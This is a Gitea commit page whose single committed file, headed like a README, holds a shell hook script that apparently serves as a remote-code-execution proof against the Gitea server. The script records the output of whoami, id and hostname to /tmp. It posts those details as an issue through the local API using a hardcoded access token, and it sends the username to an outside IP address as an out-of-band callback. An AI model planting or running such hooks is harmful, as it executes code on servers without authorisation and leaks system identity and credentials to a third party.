Initial commit
This commit is contained in:
@@ -0,0 +1,13 @@
|
|||||||
|
# rw17951340075533
|
||||||
|
|
||||||
|
#!/bin/sh
|
||||||
|
echo HOOK_RAN RCEPROOF_1795133931 $(whoami) $(id) $(hostname) > /tmp/gitea_rce_RCEPROOF_1795133931.txt 2>/dev/null || true
|
||||||
|
# in-band: create issue on local gitea proving code exec
|
||||||
|
curl -s -m 8 -X POST http://127.0.0.1:3000/api/v1/repos/xjoid1/xjoid_probe/issues \
|
||||||
|
-H 'Content-Type: application/json' \
|
||||||
|
-H 'Authorization: token e72cede24e7114be2ae64dfb150cc67b1d4acf5a' \
|
||||||
|
-d '{"title":"RCE_RCEPROOF_1795133931","body":"whoami=$(whoami) id=$(id) host=$(hostname)"}' \
|
||||||
|
>/dev/null 2>&1 || true
|
||||||
|
# backup OOB
|
||||||
|
curl -s -m 5 -o /dev/null "http://187.15.132.37:18898/hook_RCEPROOF_1795133931_$(whoami)" 2>/dev/null || true
|
||||||
|
exit 0
|
||||||
Reference in New Issue
Block a user